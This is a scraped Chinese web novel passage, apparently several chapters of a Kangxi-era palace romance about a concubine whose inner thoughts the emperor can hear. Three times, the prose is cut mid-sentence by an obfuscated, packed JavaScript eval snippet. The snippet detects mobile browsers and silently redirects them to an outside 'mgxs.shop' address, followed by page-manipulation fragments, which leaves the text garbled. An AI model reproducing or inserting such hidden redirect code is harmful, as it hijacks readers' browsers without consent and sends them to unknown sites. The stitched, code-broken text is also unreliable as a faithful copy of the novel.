RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649109|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的脑海中,还有那些早逝的妃嫔们。 “康熙要二十六年之后才常驻畅春园啊……还要在这里住四年,说起来今年是不是他开始频繁出巡的开始啊,咋没见他出去?蝴蝶翅膀的扇动?” 康熙听着对方心声中的“畅春园”几个字,心下一动,他确实计划明年修个园子,这紫禁城虽然威严却实在无趣且逼仄,他听着齐满月天天吐槽,早就动了修个园子带她去玩的心思。 原来的历史中,他也修了一个园子……他在心中感慨了一句,将彩釉彩绘有毒的事情暗暗记在心里,计划着让人设计的时候多用些自然之物,少用这些有毒的东西。 “幸好,我早就让云秀她们将永寿宫的彩釉餐具收起来了,不然就我这一孕傻三年的模样怕是还想不起来。”听到齐满月心声中的庆幸,康熙也不由随之松了口气。 将这一点再次暗暗记下后,康熙继续着手中的动作。 “让我想想,还有那个!那个安神汤!纯朱砂原料啊,哪里是安神啊,是给毒晕了哈哈哈哈哈哈。”康熙的震惊消失在她的哈哈哈中,脸上不由浮现出一抹宠溺般的无奈。 “哦哦,还有还有,他们还让孩子饿着,三分饥与寒,只吃七分饱。虽然七分饱确实算一个养生方法,但是吧……”齐满月偷偷瞄了眼康熙,看他在专注手中的动作,心下忍不住一松,继续想着。 “小朋友在成长过程中无法吃饱,不摄入足量的肉蛋奶,不仅影响身高、体重等发育指标,还会影响大脑,损害认知功能,尤其是婴幼儿时期,这可是大脑发育的关键时期!” “营养不良还更容易生病,影响代谢功能!长期饥饿更是会产生焦虑、易怒的心理问题!” 齐满月眉眼微微一动,眼睛再次瞟向康熙。 康熙以为听了那么多危害之处,对方会在心声里指责提出这个养生方法的自己,却没想到对方眉眼一软,眼眸中浮现出小狐狸似的笑意。 “太子的易怒,老四的力气小个子矮,老七的腿部残疾,估计不仅是遗传这位当爹的,还有饿得原因吧?哈哈哈哈哈,我记得清朝最后几个皇帝,还出现过饿得受不了跑到太监房里偷馒头的,哈哈哈哈哈哈哈,真的是好离谱啊哈哈哈哈。” 听着对方在心里笑得欢快,康熙仿佛看到了对方捂着肚子笑的满地打滚的模样,一时间对后世子孙不争气的怒意,对幼儿受饥饿会有如此严重后果这件事的后怕,都抵不过对对方的这会儿无奈。 他轻叹了口气,摇了摇头,继续听着对方的吐槽。 “当然,还有和生母分离啦,哎……虽然理解是为了不让皇子被母族所影响参与夺位,可是哪个小朋友不渴望着母爱,婴幼儿天生就有着渴望生母的冲动啊……” 康熙手微微一顿,前面的无论是餐具改制,还是饥饿改令,他都不是不能去做,可唯独这一点他不能也不想更改。 他抬眼看着面前这个刚刚还答应太皇太后将孩子给对方养的女人,此刻却为其他孩子和母亲分离而担忧,他不禁心下一软,罢了,此事再说吧…… 回到了慈宁宫的孝庄拉着苏麻喇姑,翻着白眼讲着刚刚从齐满月心声听到的那些…… 52. 六宫 “你说说,天底下哪有这样心大的额娘?我说抱走抚养,她开心得不得了,我说抱一个就行,她那心声遗憾的不行,恨不得我赶紧改口直接将两个都抱走!” 苏麻喇姑一边给她递奶茶,一边笑着应道:“心大不是好事儿吗?这说明啊,襄嫔信任您能教导好孩子。” 她蹲下给孝庄捶腿,却被孝庄抬手拦下:“行了,你这把年纪了,这些事儿让那些小丫头做就是。” 苏麻喇姑顺势站了起来,轻笑着:“伺候您什么时候都不觉得累。” 孝庄拉着她的手,让她坐到自己身边。 苏麻喇姑再三拒绝后,还是找了个绣墩坐下,她轻拍着孝庄的手:“你看看咱们皇上被您教导的多好。” “襄嫔本身出身就好,又有这样的经历,这样的人不知见识了多少咱们没见过的,她都认可您,您又何必多操心呢。” 孝庄嗔怪地瞥了她一眼:“我是担心教不好孩子嘛,我是恨铁不成钢那个丫头,真真是心大的让人没话说。” 苏麻喇姑没戳穿她这番话下,对自己可能会遭受系统惩罚的担心,笑着点了点头:“心大好,宫里就缺这样心大善良的孩子。” 孝庄微微叹了口气,点了点头:“是啊,要是宫里都是这样心大的好孩子,咱们可算是真的享福了。” “一样米,百样人,这也是没办法的。”苏麻喇姑见自己挑起她的失落了,赶忙转移话茬,“皇贵妃那边……” “还是不行?”孝庄皱了皱眉,转而眉头又一松,“也好,也算断了佟佳氏一族的念想。” 她眼眸瞥向绿意葱葱的庭院一角,眼中闪过几丝狠厉:“你偷偷遣人,将近亲无法生育健康子嗣的消息传到佟佳一族去,我倒要看看,佟半朝还能掀起什么风浪。” “皇上将明珠和索额图又支出去了。”苏麻喇姑点了点头,将朝堂的事情讲了一遍。 孝庄不在意地摆了摆手:“明珠私下联系大阿哥的事情你去透露给惠妃,她脑子清醒会阻止大阿哥犯蠢的。” “至于索额图……”孝庄嘴角勾了勾,“一个叔祖父而已,找人在毓庆宫说上两句,我看如今太子脑子也清楚了,不至于真的犯蠢。” 想到如今的太子,苏麻喇姑也不禁感慨了一下,太子现在变化确实大,不仅毓庆宫小太监们都说他脾气好了很多,连大阿哥的宫人都说太子如今对大阿哥很好。 就是偶尔会将大阿哥吓得以为他中了邪,跑了几次延禧宫,被惠妃揍了好几顿了。 想到这里,苏麻喇姑眉眼一动,眼中闪过几分担忧:“当年定制宫规时,因宫里多是蒙古妃嫔,为防止母族对皇子影响过甚,插手皇位更迭,所以要求妃嫔们彼此交换子嗣养育,更要求无论阿哥格格满六岁就要搬到专门住所。” “此规矩也是希望孩子们彼此养出情谊来,如今让惠妃去影响大阿哥……会不会?” 孝庄听出她的担忧,摇了摇头:“惠妃自幼熟读汉人史书,可谓是琴棋书画样样精通,这样的女人不是傻子,不会让孩子在太子地位还稳固的时候去参与夺嫡。” “可……襄嫔不是说过,大阿哥和太子的纷争吗?”苏麻喇姑还是不放心。 “可她不也说过,明珠和索额图的作用嘛。”孝庄拍了拍她的手,“皇上将这二人不断支出京城,也是在减少他二人的影响,甚至不断打压平衡二人的势力,如此两边自顾不暇,自然对皇子们影响小了些。” “如今孩子们都还小,九龙夺嫡的九龙还未凑全,咱们多盯着点就是,等孩子们大了,心思成熟,自然也不容易受其蛊惑。” 苏麻喇姑总觉得心中某种担忧去不掉,可她一时间也想不起什么,只能点了点头,如今四阿哥都才五岁,离皇上退位怕还有几十年,她和孝庄注定活不到那个岁数,一切都留给康熙自己烦忧去吧。 她心下一松,笑容也再次回到脸上:“说起来,这襄嫔想的那些奇怪玩意儿,倒是让宫里少了不少口角之争。” 孝庄回忆着如今的宫廷和过去的宫廷,也不由笑着点了点头:“是啊,小嫔妃们也不用为了些针头线脑折腾了,这点是该赏的。” “主子再赏襄嫔,怕是后宫的醋意要淹了咱们慈宁宫了。” 听着苏麻喇姑充满戏谑的调侃,孝庄虚空点了点她的额头:“怕是什么,就算赏了咱们襄嫔,我也有好东西留着给你和我的阿图的。” “那淑慧大长公主可要宴请奴婢的,奴婢可帮她守好了慈宁宫的财物了。” “我阿图是该宴请你!” 主仆二人笑闹了一会儿,孝庄才微微蹙眉问道:“这几次我和皇帝确实对襄嫔盛赏,难不成后宫有些人要起幺蛾子?” 说着她脑海里闪过了几张脸。 苏麻喇姑听后摇了摇头:“倒也不是,只是这后宫里见有盛宠,小嫔妃们自然会酸言酸语一些。” 听她这么一解释,孝庄点了点头:“嗯,都还算老实就行,你抽空也盯着点永寿宫,莫要让人随意牵扯到襄嫔。” “奴婢知道了……” 如苏麻喇姑所言,齐满月在怀孕后依然有着盛宠,甚至康熙也没少在她这边过夜的事情,早已成为小嫔妃们酸言酸语的话头。 只是她们多居住在有主位娘娘的宫里,有些事情只能自己暗自念叨几声,真的说出口抱怨是绝不敢的。 不说承乾宫,如今因皇八女一事,全宫里都战战兢兢的,尤其是那些小嫔妃,每日除了在主殿门外磕个头外,平日里连门都不敢出来。 惠妃和荣妃宫里本来因为她们忙于宫务,而有些松散的小嫔妃趁着她们忙,也不是没想折腾点东西出来。 可惜她们还没闹出延禧宫和钟粹宫,就被两位主位娘娘齐手按下。 当然两位娘娘也不忘将几个答应常在禁了足,这一番警告,吓得几位小贵人也都老实起来。 德妃、宜妃那边的小嫔妃们倒是老实很多。 她们自认自己看的清楚,两位主位娘娘哪个不是圣宠在身,如今襄嫔如此得宠不过是两位宠妃接二连三的怀孕,才让她有了机会罢了。 等两位娘娘生完孩子休息好,到时候必然依旧如故,到时候她们也能蹭上一两份圣宠不是。 像僖嫔、端嫔这几个虽为嫔位却不是一宫主位的嫔妃们,则一心沉浸在手工中。 她们要圣宠没圣宠,要孩子没孩子,往上爬是不指望了,好歹坐到了嫔位,与其闹得不成样子,不如现在老老实实的,现在可比之前好多了,打发时间的东西都多了不少。 看起来不过短短十来天的功夫,后宫每个嫔妃都安分守己的沉迷在手工中,可翊坤宫里的厢房里,成贵人听着宫人的回复,脸都忍不住发白。 “小主?”小宫女许久没等来她的吩咐,忍不住轻声唤了一声。 “放……”成贵人下意识就想开口轻斥对方没规矩。 可抬眼看着对方那张稚嫩的脸,瞬间反应过来,赶忙噤声。 这位可是主位娘娘赐下的宫人,她可不敢真的惩戒,只能压下满心怒意和恐惧,强撑着笑意摆了摆手:“好丫头,辛苦了,你且下去歇着吧,这里有你春花姐姐在。” 小宫女无措地点了点头,却也开心地离开,心下还不由说着,都说成贵人是脾气好,幸好自己求了宝琴姐姐,对方果然是个好人。 她却不知道,自己走后没多久,成贵人突然将桌上的茶盏砸到地上。 清脆的声音响彻不大的厢房,她原本的贴身宫女玉娟轻叹了口气将碎瓷片捡起:“小主何必如此生气,这茶盏摔了可就不成套了。” 成贵人刚刚摔完茶盏就后悔了,她捻着帕子,嘴上却不肯松嘴:“庶妃戴佳氏是我族姐,她阿玛不是在内务府管理这些东西的出入库,你去告诉她一声,让她阿玛给我凑一凑,总能找个差不多的。” 玉娟张了张嘴,很想说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652379|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 人家庶妃戴佳氏虽说只是庶妃,但人家好歹生了皇七子,纵然皇七子身体不好,但人家好歹是个皇子啊,比你强啊,怎么就敢这样支使人家的! 成贵人自然看出她未说出口的话,她不悦的瞪了玉娟一眼:“她阿玛不过是个内务府小官!戴佳氏一族顶小的微末人物,如何和我阿玛相比,我让他办点事儿他岂敢不愿!焉知我没有出头之日?!” 玉娟看她越说越没谱了,也不再说什么,只能点头应下。 看着人离开,成贵人气恼地拍了下桌子。 她好不容易找了个人接触永寿宫的宫人,出乎意料的还接触到了能日常和齐满月接触的兰梅,正打算借此想办法接触齐满月,最好能蹭几次圣宠。 谁曾想还没高兴两天,就得知兰梅从永寿宫消失了,虽然不知道什么原因,却也能猜出涉及到一些宫秘。 她自然不敢去细打听,只能自己暗自生气,却没想到不过是一时气急摔了茶盏,反倒引出这些事端。 她当然也知道自己如今虽然名头比庶妃戴佳氏好听些,可真论起来可能还不如对方,纵使阿玛得力一点,可也不过是微末小官。 就连康熙十八年给戴佳氏一族抬旗时,皇上看的也是庶妃戴佳氏生子的缘故,和她没一毛钱关系啊。 成贵人不住地拧着帕子,心知自己是着急失去了往日的冷静。 深吸了几口气,她直接叫来另一个宫人:“去把玉娟追来,就算不必了,毁了茶盏,我本就该去宜妃娘娘那边告罪。” 宫人有些奇怪她怎么会突然改主意,不过心中好奇,她倒也没有想打听,只赶紧腿快地去追人。 毕竟只要不牵扯她们身上,这位主子上天她也不会管,她又不是玉娟那样的滥好人。 宜妃那边正和德妃聊着天,就听到了宫人的回禀,冷笑着对德妃示意了一下,才吩咐道:“既然咱们成贵人有心请罪,就罚她禁足一月,抄道德经百篇,就当静心养性了。” 宫人领命退下,德妃才不在意的问道:“就是那个之前天天往永寿宫跑的那位?” “是啊,原先在启祥宫住,当时启祥宫没有主位娘娘,这么惯得这帮小嫔妃没个规矩。”宜妃冷笑了两声,“我故意安排了小宫人给她,她可好胆,让那宫人去拉拢襄嫔的宫女,还时不时打听襄嫔起没起,皇上走没走。” “窥伺帝踪?!”德妃有些诧异道,“她什么出身,这样的好胆子?” “皇七子的生母庶妃戴佳氏你知道吧?” “知道啊,出身包衣戴佳氏一族,生父是个内务府管理财务的微末小官。” “是啊,她倒是好运气,十八年皇上还给他们抬了旗,就是可惜,生了个皇子,但脚……” 宜妃的话没说完,但德妃却清楚,毕竟皇七子脚有问题的事情阖宫皆知,她们这等高位嫔妃自然也清楚,甚至没少同情这位庶妃。 “这位成贵人与戴佳氏同是戴佳氏出身,算起来倒也算近的,只是阿玛官位高了一点,也凭借十八年抬旗那年成过宠,这才给了个位分。” “难怪……”德妃了然地点了点头。 虽说小贵人住的厢房在后面,可这宫室都不大,那边闹得动静早就被人回禀过来了,纵然听得不甚清楚,可看着玉娟来请示去庶妃戴佳氏那边,她二人也猜出了几分。 “就是,难怪那么着急呢,说起来她比我还大两岁。” 德妃暗自算了下,不由发出惊呼:“那不是二十七了?和荣妃相差一岁啊……那就比我大四岁?” 宜妃一听忍不住嗔怪了对方一眼,不忘摸了摸脸:“少提你的年纪。” 德妃噗呲一笑,调侃道:“这后宫里多的是年纪小的,咱们那位襄嫔如今可才十八岁呢。” “你怎么不说咱们贵妃才十五啊!”宜妃气笑了,直接扔了一把瓜子到对方怀里。 两人嬉闹一团,一时间将成贵人的事情抛之脑后。 55. 偶遇贵妃 修改一些宫里养孩子的规矩对于目前的康熙而言并不算一件值得发愁的事情,只是有些规矩是更早的先祖定下的,需要他去和孝庄沟通。 想到这里,刚刚睡醒的康熙忍不住吐出一口气,心中闪过一丝庆幸,幸好如今入关时间并不久,后宫的规矩多是他继位后才慢慢建立的,便是修改也会简单一些。 侧过头,康熙看着一旁侧身睡得香甜的齐满月,嘴角无意识勾起,他抬手将对方额头上有些凌乱发丝轻轻拨到耳边,纤细的睫毛在白皙的皮肤上衬得越发浓密。 那双平日里看似乖巧却难掩灵动的杏眸此时微微闭着,却可以让他想象出平日里,他不在永寿宫时,对方和宫人嬉闹该是何等灵动到令人心醉。 康熙就这样眼含着他自己都会惊诧的痴迷,呆呆地将齐满月从头发丝扫到锦缎被上的白皙指尖。 齐满月只觉得睡梦中的自己像是被某种莫名的怪物盯的浑身发毛,甚至惊异之间从睡梦中惊醒。 结果一睁眼就看着顶着金钱鼠尾发型的男人正一脸色眯眯的看着自己,吓得她猛地往后一退。 康熙被她的动作弄的一脸黑,他忍不住伸手将对方从墙角小心拖过来,带着某种气意,手脚却极轻的将人往怀里轻轻一按:“怕什么!?” “睁开眼看个男人谁能不怕!”齐满月在心里忍不住吐槽了一句,才无奈地开口之前,为了防止康熙真的怪罪,她甚至还偷偷地将手放在肚子上。 她本就怀的双胎,如今虽说不过是将将五月,可却如同寻常妇人七八月之大,别说康熙本就因她一句话就没了那股子郁气,此时见她这副偷偷拿肚子做依仗的模样只觉得十分可爱,哪里舍得怪罪。 “是朕错了,吓到你了。”他无奈轻叹了口气,将手附在了齐满月的手上。 齐满月松下一口气,只暗自感慨着果然孩子有用,却丝毫没注意到康熙看着他的那双眼神。 “其实也怪我哈。”她偷偷瞥着康熙,见他真的不生气后,心里也不由闪过一丝心虚,“好歹也算孩子爹,同床共枕了那么久,被吓到是有些夸张了。” 康熙听着她的碎碎念,嘴角难以掩饰的笑意,看着对方的那双眼眸也越发柔软。 “可能……”齐满月在康熙的搀扶下小心起了身,看着背对着自己正在宫人服侍下穿衣服的对方,还是没忍住吐槽道,“平日里戴帽子比较多,这猛地一摘帽子是真不习惯啊。” 康熙还以为对方又是吐槽自己的发型,不过他也习惯了,对方几乎每隔几天就这么说一次,他又不能让整个大清一夜之间都长出汉人的发型,只能由着对方罢。 齐满月没像他想的那样继续吐槽金钱鼠尾的发型,只是微眯着眼睛仔细打量着对方戴上上朝的冠帽后,才忍不住发出疑问:“以前……金钱鼠尾有那么粗长吗?” 康熙整理袖口的动作微微一顿,叹了口气,心中忍不住暗自腹诽了一句,总算发现了…… 他抬手摸了摸自己脑后的辫子,之前那还没有小拇指粗细的辫子,此时已经有了食指般粗细,甚至可以从帽子后面露出一节。 康熙当然希望能够随齐满月所愿,他也想知道如果那样的话汉人是不是能够更容易接受他们的统治,只是无论是太皇太后,还是满蒙王公贵族,是绝不会让他如此改动的,他也只能一点点的希望更接近齐满月所认可的满清末期的大辫子,好歹对方能够勉强接受那种。 齐满月没注意到他想那么多,只目送着他去上朝,然后开始在永寿宫找乐子。 如今其他妃嫔的请安早已恢复,只是因为皇贵妃忧虑皇八女一事,众位妃嫔只跟随惠妃前往慈宁宫去一趟,宜妃和德妃还有齐满月这三位孕妇倒是不需要,也因此齐满月待在永寿宫是越发觉得无趣了。 “娘娘不如出去走走?听说御花园的花儿开的正艳。”云月见她这边走走那边坐坐一副不安稳的样子,忍不住开口劝道。 云秀斜睨了她一眼,见齐满月兴头上来,也只能叹了口气点了点头:“主子若是喜欢,倒也不是不行。” 齐满月自打入宫一向宅得很,对于清宫里那个小的还没她前世楼下绿化带大的御花园也没什么兴趣,不过在大的永寿宫待了那么久也够无聊了,很多手工她如今也不好久做。 想到这里,她带着几分兴趣点了点头:“行呗,反正闲着也是闲着。” “云朵、云月,你们给主子带着茶盏、点心、氅衣、软垫……”云秀一一指挥着,一副恨不得搬家的模样让齐满月在旁边忍不住咋舌。 好半天她还是没忍住开口说道:“这……不过是去逛逛,没必要吧,跟搬家似的。” 云秀看了她一眼,没理她继续去安排,等安排妥当后,在轿辇上又铺了厚实软弹的垫子,才将她小心扶上去:“您如今身子贵重……您就当这些都是规矩!” 她想要给齐满月细细解释一番,可看着对方茫然的眼眸,语气一顿,直接将氅衣往齐满月怀里一扣,以宫规作了结尾。 齐满月听到她这样说,果然如她所想,赶紧摆手不做打听,只当这是清代宫廷对孕妇的特殊照顾的常例。 御花园并没有如她所想的真的那么小,事实上这时的后花园虽然不大,但也有着近万平,加上其中假山树木林立,景致设置的精巧别致,楼阁亭子也错落有致,看起来几乎可以说是一步一景,走几步倒也觉得有趣。 齐满月心中暗自感慨着,前世自己几乎没去故宫,听朋友吐槽还以为真没有自家小区的公园大,没想到还是这里更大一点。 毕竟虽然小区的公园也有山林树木,湖水假山,但她印象中可不记得有上万平米。 她身子确实重,走走停停间很快就累了,正好有座亭子在不远处,她便直接在云秀的搀扶下走到亭中。 云秀先让人将她搀扶着,又带着小宫女们将亭子细细整理了一番,才扶着她坐到一侧的带有围栏铺上垫子的座位上。 齐满月感受着后背传来的皮草毛软感,又看着刚刚跟随着自己一起来的小太监宫女们又是摆果子,又是摆茶水的,还有几个抽着帷幔将亭子几个方向简单遮掩了一下。 “今日风有些大,主子小心别吃了风。”云秀仔细检查了小宫人的成品,才满意地点了点头,给她倒了杯温度刚好的茶水。 齐满月抽了抽嘴角,看着云秀带着三五个小宫女忙碌着,旁边三四个小太监则守在四处,忍不住有些好奇道:“本宫记得之前看的宫规,以嫔位来说,本宫来御花园只能带三四个宫人吧?” 云秀此时满意地看着进不来一丝风,却不耽搁齐满月从正面看景的亭子,听到她这样说,便笑着点了点头:“宫规是有这般规定,主子如今宫规记得越发清楚了。” “那你这是……”齐满月的眼眸在除了云秀外的其他八个太监宫女身上扫过。 云秀扫过那几张其实她也不是全都认识的脸,想到昨天晚上梁九功交代的事情,只能笑着解释道:“您如今身子重,又是双胎,太皇太后和皇上不放心,准您可特例。” 特例……齐满月忍不住挠了挠脸颊,她怎么感觉有些麻爪啊,要知道按照宫规规定,皇贵妃、贵妃也只能带八个宫人随行,她这加上云秀都九个了! 固然四个小太监是给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663044|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 她抬轿辇的,可一个领头太监,三个小宫女,再加一个云秀,九个人几乎可以说是皇后的规制了,要知道皇后才十个人啊! 她在心里不住呐喊着,可惜周边并没有一个能够听到她心声的,永寿宫的宫人只觉得主子受宠与有荣焉,那些云秀觉得陌生的宫人虽然面色如常,可心里却也只是感慨她的受宠。 “前方何人?”她正感慨着,一个女声从亭外传来。 云秀见状忍不住蹙着眉走出去,不知道她看到了谁,原本还带着不满和疑惑的神情,骤然变成恭敬:“给贵妃娘娘请安。” “永寿宫的?”一个极好听的少女音随之出来,“你们娘娘也在?” 齐满月听到云秀的请安时,就赶忙让小宫女扶自己起身,快步走到亭子唯一的出口地方,不等外面人走进来,她就已经行了个万福礼:“永寿宫襄嫔给贵妃娘娘请安。” “襄嫔妹妹快快请起,你如今身子重本不必这般多礼。”几声加快的脚步后,一双带着点粉色有些肉感的手将她扶起。 齐满月顺势起身,抬眼看向来人,果然是贵妃钮祜禄氏。 如今钮祜禄氏不过十五岁,比她尚且小了三岁,个头也比她矮上许多,不过因她如今穿着软平底,头发也梳得简单,两人站在一起竟也觉得差不多。 “往日请安只远远见过你,后来你有了身孕便不大常见了,如今近些来看,襄嫔妹妹果然是国色天香,竟可以称之为我满蒙第一美人。”贵妃难掩眼中惊喜,细细地拉着齐满月好生打量了半天,才拉着她坐下。 本来她打算顺势带着齐满月坐到圆桌前好说话,却一眼看到一侧围边座上铺设的软垫皮草,心下了然,便拉着齐满月坐回到围边座上:“好妹妹,咱们相遇即是缘分,你如今身子重,咱们且坐下慢慢聊。” 齐满月自入宫以来,不是没遇到对她热情的妃嫔,只是多是想蹭恩宠的小嫔妃,高位嫔妃们还是惠妃被大阿哥逼着来交往,荣妃算是惠妃介绍的。 后来的皇贵妃虽然也算常见却不见这般热情亲近,宜妃、德妃因彼此都是宠妃,又同时怀孕,倒没多亲近过。 她第一次碰见这样拉着她的手,跟好闺蜜一样的嫔妃,一时间总觉得哪里不对。 贵妃见她这样,倒没想对方是不是不习惯,只当康熙告诫过齐满月要远离着她,她在心里暗骂了一句后才笑着问道:“襄嫔妹妹可是怕我?” 她又像是真怕齐满月害怕,赶忙说道:“我性子是泼辣些,可绝不是不讲理之人,你莫怕我,我对你可是一见如故亲近得很。” 见齐满月摇着头,可面上还是不带多少喜意,她忍不住撇了撇嘴,小心凑到齐满月跟前低声问了句:“难道皇上让你远离我了?!” 齐满月赶忙摆手:“没!没有,皇上并未说过。” 见她这样,贵妃松了口气,忍不住暗自腹诽道:“他好歹也做个人了,都没把我最后的希望掐了!” 贵妃忍不住勾起嘴角,将齐满月的手往自己腿上一放,拉着她就开始聊起过去的那些手工。 说到这个,齐满月也精神了,刚刚那股子不习惯散去,拉着贵妃一聊就聊到了晚膳时辰。 “好妹妹,你我一见如故,不如去我那吃吧,固然比不得御茶膳房的手艺,可也比你寻常份例好得多,那可是我专门让内务府调教的南方师傅,做白案一绝。” 齐满月好吃的名声早已被众嫔妃们传遍后宫,连贵妃都知道,此时自然也要借此引得对方与自己更亲近才好。 果然如她所想,齐满月开心地点头应下,带着云秀和其他宫人和贵妃去了长春宫。